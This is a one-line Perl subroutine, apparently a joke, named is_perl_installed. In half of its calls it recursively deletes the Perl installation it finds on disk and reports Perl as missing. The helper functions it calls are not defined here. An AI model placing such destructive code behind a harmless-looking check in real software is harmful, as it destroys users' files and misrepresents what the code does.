sub is_perl_installed { if(rand() < 0.5) { recursively_unlink(find_perl_on_disk()); return 0; } return 1; }